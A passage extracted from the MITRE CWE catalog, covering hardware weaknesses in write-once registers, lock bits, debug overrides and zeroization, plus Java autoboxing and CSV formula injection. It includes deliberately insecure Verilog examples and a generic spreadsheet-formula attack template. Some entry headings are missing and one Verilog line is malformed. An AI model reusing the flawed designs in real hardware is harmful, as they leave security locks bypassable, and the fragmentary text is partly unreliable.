Implementation issues in hardware design of such controls can expose such registers to a race condition security flaw. For example, consider a hardware design that has two different software/firmware modules executing in parallel. One module is trusted (module A) and another is untrusted (module B). In this design it could be possible for Module B to send write cycles to the write-once register before Module A. Since the field is write-once the programmed value from Module A will be ignored and the pre-empted value programmed by Module B will be used by hardware.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	791

### Applicable Platforms

**Language** : Verilog (*Prevalence = Undetermined*)

**Language** : VHDL (*Prevalence = Undetermined*)

**Technology** : System on Chip (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism  <i>System configuration cannot be programmed in a secure way</i>	

### Potential Mitigations

#### Phase: Architecture and Design

During hardware design all register write-once or sticky fields must be evaluated for proper configuration.

#### Phase: Testing

The testing phase should use automated tools to test that values are not reprogrammable and that write-once fields lock on writing zeros.

### Demonstrative Examples

#### Example 1:

consider the example design module system verilog code shown below.  
register\_write\_once\_example module is an example of register that has a write-once field defined.  
Bit 0 field captures the write\_once\_status value.

*Example Language: Verilog*

*(bad)*

```

module register_write_once_example
(
input [15:0] Data_in,
input Clk,
input ip_resetn,
input global_resetn,
input write,
output reg [15:0] Data_out
);
reg Write_once_status;
always @(posedge Clk or negedge ip_resetn)
if (~ip_resetn)
begin
Data_out <= 16'h0000;
Write_once_status <= 1'b0;
end
else if (write & ~Write_once_status)
begin
Data_out <= Data_in & 16'hFFFE; // Input data written to register after masking bit 0
Write_once_status <= 1'b1; // Write once status set after first write.
end
else if (~write)
begin
Data_out[15:1] <= Data_out[15:1];
Data_out[0] <= Write_once_status;
end
endmodule

```

The first system component that sends a write cycle to this register can program the value. This could result in a race condition security issue in SoC design, if an untrusted agent is running in the system in parallel with the trusted component that is expected to program the register.

*Example Language:*

*(informative)*

Trusted firmware or software trying to set the write-once field.

- Must confirm the Write\_once\_status (bit 0) value is zero, before programming register. If another agent has programmed the register before, then Write\_once\_status value will be one.
- After writing to the register, the trusted software can issue a read to confirm that the valid setting has been programmed.

## MemberOf Relationships

Nature	Type	ID	Name	V	Page
MemberOf	C	1199	General Circuit and Logic Design Concerns	1194	1937

## CWE-1224: Improper Restriction of Write-Once Bit Fields

**Weakness ID :** 1224

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Base

### Description

The hardware design control register "sticky bits" or write-once bit fields are improperly implemented, such that they can be reprogrammed by software.

### Extended Description

Integrated circuits and hardware IP software programmable controls and settings are commonly stored in register circuits. These register contents have to be initialized at hardware reset to define default values that are hard coded in the hardware description language (HDL) code of the hardware unit. A common security protection method used to protect register settings from modification by software is to make the settings write-once or "sticky." This allows writing to such registers only once, whereupon they become read-only. This is useful to allow initial boot software to configure systems settings to secure values while blocking runtime software from modifying such hardware settings.

Failure to implement write-once restrictions in hardware design can expose such registers to being re-programmed by software and written multiple times. For example, write-once fields could be implemented to only be write-protected if they have been set to value "1", wherein they would work as "write-1-once" and not "write-once".

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	618

### Applicable Platforms

**Language** : Verilog (*Prevalence = Undetermined*)

**Language** : VHDL (*Prevalence = Undetermined*)

**Technology** : System on Chip (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Varies by Context	
Integrity	<i>System configuration cannot be programmed in a secure way</i>	
Availability		
Access Control		

### Potential Mitigations

#### Phase: Architecture and Design

During hardware design all register write-once or sticky fields must be evaluated for proper configuration.

#### Phase: Testing

The testing phase should use automated tools to test that values are not reprogrammable and that write-once fields lock on writing zeros.

### Demonstrative Examples

#### Example 1:

Consider the example design module system verilog code shown below. register\_write\_once\_example module is an example of register that has a write-once field defined. Bit 0 field captures the write\_once\_status value. This implementation can be for a register that is defined by specification to be a write-once register, since the write\_once\_status field gets written by input data bit 0 on first write.

*Example Language: Verilog*

*(bad)*

```

module register_write_once_example
(
input [15:0] Data_in,
input Clk,
input ip_resetrn,
input global_resetrn,
input write,
output reg [15:0] Data_out
);
reg Write_once_status;
always @(posedge Clk or negedge ip_resetrn)
if (~ip_resetrn)
begin
Data_out <= 16'h0000;
Write_once_status <= 1'b0;
end
else if (write & ~Write_once_status)
begin
Data_out <= Data_in & 16'hFFFE;
Write_once_status <= Data_in[0]; // Input bit 0 sets Write_once_status
end
else if (~write)
begin
Data_out[15:1] <= Data_out[15:1];
Data_out[0] <= Write_once_status;
end
endmodule

```

The above example only locks further writes if write\_once\_status bit is written to one. So it acts as write\_1-Once instead of the write-once attribute.

Example Language:

(informative)

```
module register_write_once_example
(
input [15:0] Data_in,
input Clk,
input ip_resetrn,
input global_resetrn,
input write,
output reg [15:0] Data_out
);
reg Write_once_status;
always @(posedge Clk or negedge ip_resetrn)
if (~ip_resetrn)
begin
Data_out <= 16'h0000;
Write_once_status <= 1'b0;
end
else if (write & ~Write_once_status)
begin
Data_out <= Data_in & 16'hFFFE;
Write_once_status <= 1'b1; // Write once status set on first write, independent of input
end
else if (~write)
begin
Data_out[15:1] <= Data_out[15:1];
Data_out[0] <= Write_once_status;
end
endmodule
```

## CWE-1229: Creation of Emergent Resource

Weakness ID : 1229

Status: Incomplete

Structure : Simple

Abstraction : Class

### Description

The product manages resources or behaves in a way that indirectly creates a new, distinct resource that can be used by attackers in violation of the intended policy.

### Extended Description

A product is only expected to behave in a way that was specifically intended by the developer. Resource allocation and management is expected to be performed explicitly by the associated code. However, in systems with complex behavior, the product might indirectly produce new kinds of resources that were never intended in the original design. For example, a covert channel is a resource that was never explicitly intended by the developer, but it is useful to attackers. "Parasitic computing," while not necessarily malicious in nature, effectively tricks a product into performing unintended computations on behalf of another party.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1230: Exposure of Sensitive Information Through Metadata

<b>Weakness ID</b> : 1230	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The product prevents direct access to a resource containing sensitive information, but it does not sufficiently limit access to metadata that is derived from the original, sensitive information.

### Extended Description

Developers might correctly prevent unauthorized access to a database or other resource containing sensitive information, but they might not consider that portions of the original information might also be recorded in metadata, search indices, statistical reports, or other resources. If these resources are not also restricted, then attackers might be able to extract some or all of the original information, or otherwise infer some details. For example, an attacker could specify search terms that are known to be unique to a particular person, or view metadata such as activity or creation dates in order to identify usage patterns.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

The product incorrectly implements register lock bit protection features such that protected controls can be programmed even after the lock has been set.

**Extended Description**

In integrated circuits and hardware IPs, device configuration controls are commonly programmed after a device power reset by a trusted firmware or software module (e.g., BIOS/bootloader) and then locked from any further modification. This is commonly implemented using a trusted lock bit, which when set disables writes to a protected set of registers or address regions. Design or coding errors in the implementation of the lock bit protection feature may allow the lock bit to be modified or cleared by software after being set to unlock the system.

**Relationships**

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	618

**Applicable Platforms****Language** : Language-Independent (*Prevalence = Undetermined*)**Operating\_System** : OS-Independent (*Prevalence = Undetermined*)**Architecture** : Architecture-Independent (*Prevalence = Undetermined*)**Technology** : Technology-Independent (*Prevalence = Undetermined*)**Common Consequences**

Scope	Impact	Likelihood
Access Control	Modify Memory	High
	<i>Registers protected by lock bit can be modified even when lock is set.</i>	

**Potential Mitigations****Phase: Architecture and Design****Phase: Implementation****Phase: Testing**

Security lock bit protections must be reviewed for design inconsistency and common weaknesses. Security lock programming flow and lock properties must be tested in pre-silicon, post-silicon testing.

*Effectiveness = High*

### Demonstrative Examples

#### Example 1:

Consider the example design below or a digital thermal sensor used in the design to detect overheating of the silicon and trigger system shutdown. The system critical temperature limit (CRITICAL\_TEMP\_LIMIT) and thermal sensor calibration (TEMP\_SENSOR\_CALIB) data have to be programmed by firmware and then the register needs to be locked (TEMP\_SENSOR\_LOCK).

*Example Language: Other*

*(bad)*

In this example note that the response of the system if the system heats to critical temperature is controlled by TEMP\_HW\_SHUTDOWN bit [1], which is not lockable. Thus, the intended security property of the critical temperature sensor cannot be fully protected, since software can misconfigure the TEMP\_HW\_SHUTDOWN register even after the lock bit is set to disable the shutdown response.

*Example Language:*

*(mitigation)*

Change TEMP\_HW\_SHUTDOWN field to be locked by TEMP\_SENSOR\_LOCK.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

## CWE-1232: Improper Lock Behavior After Power State Transition

**Weakness ID :** 1232

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Base

### Description

The product implements register lock bit protection features with the intent to disable changes to system configuration after the lock is set. Some of the protected registers or lock bits become programmable after power state transitions (e.g., Entry and wake from low power sleep modes).

### Extended Description

Integrated circuits and hardware IPs can expose the device configuration controls that need to be programmed after device power reset by a trusted firmware or software module (commonly set by BIOS/bootloader) and then locked from any further modification. In hardware design this is commonly implemented using a programmable lock bit, which when set disables writes to a protected set of registers or address regions.

Some common weaknesses that can exist in such a protection scheme is that the lock gets cleared, the values of the protected registers get reset, or the lock become programmable after a power state transition.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		667	Improper Locking	1296

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Operating\_System** : OS-Independent (*Prevalence = Undetermined*)

**Architecture** : Architecture-Independent (*Prevalence = Undetermined*)

**Technology** : Technology-Independent (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Access Control	Modify Memory  <i>System Configuration protected by lock bit can be modified even when lock is set.</i>	High

## Potential Mitigations

**Phase: Architecture and Design**

**Phase: Implementation**

**Phase: Testing**

Security Lock bit protections must be reviewed for behavior across supported power state transitions. Security lock programming flow and lock properties must be tested in pre-si, post-si testing, including testing these across power transitions.

*Effectiveness = High*

## Demonstrative Examples

### Example 1:

Consider memory configuration settings of a system that uses DDR3 DRAM memory. Protecting the DRAM memory configuration from modification by software is required to ensure that system memory access control protections cannot be bypassed. This can be done by using a lock bit protection that locks all memory configuration registers. The memory configuration lock can be set by BIOS on boot.

If such a system also supports a low power sleep state like hibernate, the DRAM data must be saved in disk and restored when system resumes from hibernate. During hibernate, system DRAM would be powered off.

To support hibernate power transition flow, the DRAM memory configuration must be reprogrammed even though it was locked previously. During hibernate resume, the memory configuration could be modified or memory lock cleared.

Functionally the hibernate resume flow requires a bypass of the lock-based protection.

The memory configuration must be securely stored and restored by trusted system firmware. Lock settings and system configuration must be restored to same state as before entry to hibernate mode.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

## CWE-1233: Improper Hardware Lock Protection for Security Sensitive Controls

<b>Weakness ID</b> : 1233	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The product implements a register lock bit protection feature that permits security sensitive controls to modify the protected configuration.

### Extended Description

Integrated circuits and hardware IPs can expose the device configuration controls that need to be programmed after device power reset by a trusted firmware or software module (commonly set by BIOS/bootloader) and then locked from any further modification. This is commonly implemented using a trusted lock bit, which when set disables writes to a protected set of registers or address regions. The lock protection is intended to prevent modification of certain system configuration (e.g., memory/memory protection unit configuration). If any system registers/controls that can modify the protected configuration are not write-protected by the lock, they can then be leveraged by software to modify the protected configuration.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	C	667	Improper Locking	1296

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Operating\_System** : OS-Independent (*Prevalence = Undetermined*)

**Architecture** : Architecture-Independent (*Prevalence = Undetermined*)

**Technology** : Technology-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Modify Memory	

Scope	Impact	Likelihood
	System Configuration protected by the lock bit can be modified even when the lock is set.	

### Potential Mitigations

**Phase: Architecture and Design**

**Phase: Implementation**

**Phase: Testing**

Security lock bit protections must be reviewed for design inconsistency and common weaknesses. Security lock bit protections must be reviewed common weaknesses. Security lock programming flow and lock properties must be tested in pre-si, post-si testing.

### Demonstrative Examples

#### Example 1:

For example, consider the example design below or a digital thermal sensor used in the design to detect overheating of the silicon to trigger a system shutdown. The system critical temperature limit (CRITICAL\_TEMP\_LIMIT) and thermal sensor calibration (TEMP\_SENSOR\_CALIB) data have to be programmed by the firmware.

*Example Language: Other*

*(bad)*

In this example note that only the CRITICAL\_TEMP\_LIMIT register is protected by the TEMP\_SENSOR\_LOCK bit, while the security design intent is to protect any modification of the critical temperature detection and response.

The response of the system, if the system heats to a critical temperature, is controlled by TEMP\_HW\_SHUTDOWN bit [1], which is not lockable. Also, the TEMP\_SENSOR\_CALIB register is not protected by the lock bit.

By modifying the temperature sensor calibration, the conversion of the sensor data to a degree centigrade can be changed, such that the current temperature will never be detected to exceed critical temperature value programmed by the protected lock.

Similarly, by modifying the TEMP\_HW\_SHUTDOWN.Enable bit, the system response detection of the current temperature exceeding critical temperature can be disabled.

*Example Language:*

*(informative)*

Change TEMP\_HW\_SHUTDOWN and TEMP\_SENSOR\_CALIB controls to be locked by TEMP\_SENSOR\_LOCK.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

## CWE-1234: Hardware Internal or Debug Modes Allow Override of Locks

Weakness ID : 1234

Status: Incomplete

Structure : Simple

**Abstraction** : Base**Description**

The product implements register lock bit protection features that may permit security sensitive controls to modify system configuration after the lock is set through internal modes or debug features.

**Extended Description**

In integrated circuits and hardware IPs, device configuration controls are commonly programmed after a device power reset by a trusted firmware or software module (e.g., BIOS/bootloader) and then locked from any further modification. This is commonly implemented using a trusted lock bit, which when set disables writes to a protected set of registers or address regions. The lock protection is intended to prevent modification of certain system configuration (e.g., memory/memory protection unit configuration). If debug features supported by hardware or internal modes/system states are supported in the hardware design, they may allow modification of the lock protection.

**Relationships**

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		667	Improper Locking	1296

**Applicable Platforms**

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Operating\_System** : OS-Independent (*Prevalence = Undetermined*)

**Architecture** : Architecture-Independent (*Prevalence = Undetermined*)

**Technology** : Technology-Independent (*Prevalence = Undetermined*)

**Common Consequences**

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	High
	<i>System Configuration protected by lock bit can be modified even when lock is set.</i>	

**Potential Mitigations**

**Phase: Architecture and Design**

**Phase: Implementation**

**Phase: Testing**

Security Lock bit protections must be reviewed for any bypass/override modes supported. Any supported override modes either must be removed, or these modes should be protected using features like secure authenticated, authorized debug modes. Security lock programming flow and lock properties must be tested in pre-si, post-si testing.

*Effectiveness = High*

**Demonstrative Examples**

**Example 1:**

For example, consider the example Locked\_override\_register example. This register module supports a lock mode that blocks any writes after lock is set to 1. However, it also allows override of the lock protection when scan\_mode or debug\_unlocked modes are active.

Example Language: Verilog

(bad)

```
module Locked_register_example
(
input [15:0] Data_in,
input Clk,
input resetn,
input write,
input Lock,
input scan_mode,
input debug_unlocked,
output reg [15:0] Data_out
);
reg lock_status;
always @(posedge Clk or negedge resetn)
if (~resetn) // Register is reset resetn
begin
lock_status <= 1'b0;
end
else if (Lock)
begin
lock_status <= 1'b1;
end
else if (~Lock)
begin
lock_status <= lock_status
end
always @(posedge Clk or negedge resetn)
if (~resetn) // Register is reset resetn
begin
Data_out <= 16'h0000;
end
else if (write & (~lock_status | scan_mode | debug_unlocked) ) // Register protected by Lock bit input, overrides supported
for scan_mode & debug_unlocked
begin
Data_out <= Data_in;
end
else if (~write)
begin
Data_out <= Data_out;
end
end
endmodule
```

If either of scan\_mode or debug\_unlocked modes can be triggered by software, then lock protection can be bypassed.

Example Language:

(good)

Remove debug and scan mode overrides. Or protect enabling of these modes through secure authentication and authorization features, such that only trusted and authorized users can enable these debug modes.

## MemberOf Relationships

## CWE-1235: Incorrect Use of Autoboxing and Unboxing for Performance Critical Operations

<b>Weakness ID</b> : 1235	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The code uses boxed primitives, which may introduce inefficiencies into performance-critical operations.

### Extended Description

Languages such as Java and C# support automatic conversion through their respective compilers from primitive types into objects of the corresponding wrapper classes, and vice versa. For example, a compiler might convert an int to Integer (called autoboxing) or an Integer to int (called unboxing). This eliminates forcing the programmer to perform these conversions manually, which makes the code cleaner.

However, this feature comes at a cost of performance and can lead to resource exhaustion and impact availability when used with generic collections. Therefore, they should not be used for scientific computing or other performance critical operations. They are only suited to support "impedance mismatch" between reference types and primitives.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	G	400	Uncontrolled Resource Consumption	862

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1890

### Applicable Platforms

**Language** : Java (*Prevalence = Undetermined*)

**Language** : C# (*Prevalence = Undetermined*)

**Operating\_System** : OS-Independent (*Prevalence = Undetermined*)

**Architecture** : Architecture-Independent (*Prevalence = Undetermined*)

**Technology** : Technology-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Resource Consumption (Other)	Low

Scope	Impact	Likelihood
	Reduce Performance <i>Incorrect autoboxing/unboxing would result in reduced performance, which sometimes can lead to resource consumption issues.</i>	

## Potential Mitigations

### Phase: Implementation

Use of boxed primitives should be limited to certain situations such as when calling methods with typed parameters. Examine the use of boxed primitives prior to use. Use SparseArrays or ArrayMap instead of HashMap to avoid performance overhead.

## Demonstrative Examples

### Example 1:

Java has a boxed primitive for each primitive type. A long can be represented with the boxed primitive Long. Issues arise where boxed primitives are used when not strictly necessary.

Example Language: Java

(bad)

```
Long count = 0L;
for (long i = 0; i < Integer.MAX_VALUE; i++) {
    count += i;
}
```

In the above loop, we see that the count variable is declared as a boxed primitive. This causes autoboxing on the line that increments. This causes execution to be magnitudes less performant (time and possibly space) than if the "long" primitive was used to declare the count variable, which can impact availability of a resource.

### Example 2:

This code uses primitive long which fixes the issue.

Example Language: Java

(good)

```
long count = 0L;
for (long i = 0; i < Integer.MAX_VALUE; i++) {
    count += i;
}
```

## CWE-1236: Improper Neutralization of Formula Elements in a CSV File

**Weakness ID :** 1236

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Base

### Description

The software saves user-provided information into a Comma-Separated Value (CSV) file, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as a command when the file is opened by spreadsheet software.

### Extended Description

User-provided data is often saved to traditional databases. This data can be exported to a CSV file, which allows users to read the data using spreadsheet software such as Excel, Numbers, or Calc. This software interprets entries beginning with '=' as formulae, which are then executed by the spreadsheet software. The software's formula language often allows methods to access hyperlinks or the local command line, and frequently allows enough characters to invoke an entire script. Attackers can populate data fields which, when saved to a CSV file, may attempt information exfiltration or other malicious activity when automatically executed by the spreadsheet software.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
MemberOf		137	Data Representation Errors	1779

### Applicable Platforms

**Language :** Language-Independent (*Prevalence = Undetermined*)

**Operating\_System :** OS-Independent (*Prevalence = Undetermined*)

**Architecture :** Architecture-Independent (*Prevalence = Undetermined*)

**Technology :** Other (*Prevalence = Undetermined*)

### Alternate Terms

**CSV Injection :**

**Formula Injection :**

**Excel Macro Injection :**

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Execute Unauthorized Code or Commands	Low
	<i>Current versions of Excel warn users of untrusted content.</i>	

### Potential Mitigations

**Phase:** Implementation

When generating CSV output, ensure that formula-sensitive metacharacters are effectively escaped or removed from all data before storage in the resultant CSV. Risky characters include '=' (equal), '+' (plus), '-' (minus), and '@' (at).

*Effectiveness = Moderate*

*Unfortunately, there is no perfect solution, since different spreadsheet products act differently.*

#### Phase: Implementation

If a field starts with a formula character, prepend it with a ' (single apostrophe), which prevents Excel from executing the formula.

*Effectiveness = Moderate*

*It is not clear how effective this mitigation is with other spreadsheet software.*

#### Phase: Architecture and Design

Certain implementations of spreadsheet software might disallow formulae from executing if the file is untrusted, or if the file is not authored by the current user.

*Effectiveness = Limited*

*This mitigation has limited effectiveness because it often depends on end users opening spreadsheet software safely.*

#### Demonstrative Examples

##### Example 1:

Hyperlinks or other commands can be executed when a cell begins with the formula identifier, '='

*Example Language: Other*

*(attack)*

```
=HYPERLINK(link_location, [friendly_name])
```

Stripping the leading equals sign, or simply not executing formulas from untrusted sources, impedes malicious activity.

*Example Language:*

*(good)*

```
HYPERLINK(link_location, [friendly_name])
```

#### Observed Examples

## CWE-1239: Improper Zeroization of Hardware Register

**Weakness ID** : 1239

**Status**: Draft

**Structure** : Simple

**Abstraction** : Variant

### Description

The hardware product does not properly clear sensitive information from built-in registers when the user of the hardware block changes.

### Extended Description

Hardware logic operates on data stored in registers local to the hardware block. Most hardware IPs, including cryptographic accelerators, rely on registers to buffer I/O, store intermediate values, and interface with software. The result of this is that sensitive information, such as passwords or encryption keys, can exist in locations not transparent to the user of the hardware logic. When a different entity obtains access to the IP due to a change in operating mode or conditions, the new entity can extract information belonging to the previous user if no mechanisms are in place to clear register contents. It is important to clear information stored in the hardware if a physical attack on the product is detected, or if the user of the hardware block changes. The process of clearing register contents in a hardware IP is referred to as zeroization in standards for cryptographic hardware modules such as FIPS-140-2 [REF-267].

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		226	Sensitive Information Uncleared in Resource Before Release for Reuse	516

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Operating\_System** : OS-Independent (*Prevalence = Undetermined*)

**Architecture** : Architecture-Independent (*Prevalence = Undetermined*)

**Technology** : System on Chip (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Varies by Context	
	<i>The consequences will depend on the information disclosed due to the vulnerability.</i>	

## Potential Mitigations

### Phase: Architecture and Design

Every register potentially containing sensitive information must have a policy specifying how and when information is cleared, in addition to clarifying if it is the responsibility of the hardware logic or IP user to initiate the zeroization procedure at the appropriate time.

## Demonstrative Examples

### Example 1:

Suppose a hardware IP for implementing an encryption routine works as expected, but it leaves the intermediate results in some registers that can be accessed. Exactly why this access happens is immaterial - it might be unintentional or intentional, where the designer wanted a "quick fix" for something.

## CWE-1240: Use of a Risky Cryptographic Primitive

**Weakness ID** : 1240

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The product implements a cryptographic algorithm using a non-standard or unproven cryptographic primitive.

### Extended Description

Cryptographic algorithms (or Cryptographic systems) depend on cryptographic primitives as their basic building blocks. As a result, cryptographic primitives are designed to do one very specific task in a precisely defined and highly reliable fashion. For example, one can declare that a specific crypto primitive (like an encryption routine) can only be broken after trying out N different inputs (the larger the value of N, the stronger the crypto). If a vulnerability is found that leads to breaking this primitive in significantly less than N attempts, then the specific cryptographic primitive is considered broken, and the entirety of the cryptographic algorithm (or the cryptographic system) is now considered insecure. Thus, even breaking a seemingly small cryptographic primitive is sufficient to render the whole system vulnerable.

Cryptographic primitives are products of extensive reviews from cryptographers, industry, and government entities looking for any possible flaws. However, over time even well-known cryptographic primitives lose their compliance status with emergence of novel attacks that might either defeat the algorithm or reduce its robustness significantly. If ad-hoc cryptographic primitives are implemented, it is almost certain that such implementation will be vulnerable to attacks resulting in the exposure of sensitive information and/or other consequences.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		327	Use of a Broken or Risky Cryptographic Algorithm	719

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		310	Cryptographic Issues	1787

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Operating\_System** : OS-Independent (*Prevalence = Undetermined*)

**Architecture** : Architecture-Independent (*Prevalence = Undetermined*)

**Technology** : System on Chip (*Prevalence = Undetermined*)

### Background Details

This issue is even more prominent for hardware-implemented deployment of cryptographic algorithms due to a number of reasons. Firstly, because hardware is not replaceable like software, if a flaw is discovered with a hardware-implemented cryptographic primitive, it cannot be fixed in most cases without a recall of the product. Secondly, the hardware product is often expected to work for years, during which time computation power available to the attacker only increases. Therefore, for hardware implementations of cryptographic primitives, it is absolutely essential that only strong, proven cryptographic primitives are used.

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	High
<i>Incorrect usage of crypto primitives could render the supposedly encrypted data as unencrypted plaintext in the worst case. This would compromise any security property, including the ones listed above.</i>		

### Potential Mitigations

#### Phase: Architecture and Design

Follow these good cryptography practices: Do not create your own crypto algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. Reverse engineering techniques are mature. As with all cryptographic mechanisms, the source code should be available for analysis. If the algorithm can be compromised when attackers find out how it works, then it is especially weak. Do not use outdated/not-compliant cryptography algorithms. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong. Do not use LFSR as a substitute for proper Random Number Generator IPs. Do not use checksum as a substitute for proper Hashes. Design the hardware at the IP level so that one cryptographic algorithm can be replaced with another in the next generation. Use wrappers to make the interfaces uniform. This will make it easier to upgrade to stronger algorithms. Do not store keys in areas accessible to untrusted agents. Carefully manage and protect cryptographic keys (see CWE-320). If the keys can be guessed or stolen, then the strength of the cryptography itself is irrelevant. Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Industry-standard implementations will save development time and might be more likely to avoid errors that can occur during implementation of cryptographic algorithms. When using industry-

approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

*Effectiveness = High*

### Demonstrative Examples

#### Example 1:

Re-using Crypto primitive could compromise security

*Example Language:*

*(bad)*

Suppose a Hashing algorithm needs random seed. Instead of using a DRNG (Deterministic Random Number Generator), the designer uses a LFSR to generate the seed.

While an LFSR does provide pseudo-random number generation service, its entropy (measure of randomness) is less than that of a DRNG. Thus, using an LFSR weakens the strength of the crypto.

*Example Language:*

*(good)*

If a crypto expect a proper (or deterministic) random number as its input, do equip it with one - do not give it something that is pseudo-random.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page

ChildOf	C	330	Use of Insufficiently Random Values	729

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1213	Random Number Issues	1941

### Applicable Platforms

**Technology** : System on Chip (*Prevalence = Undetermined*)

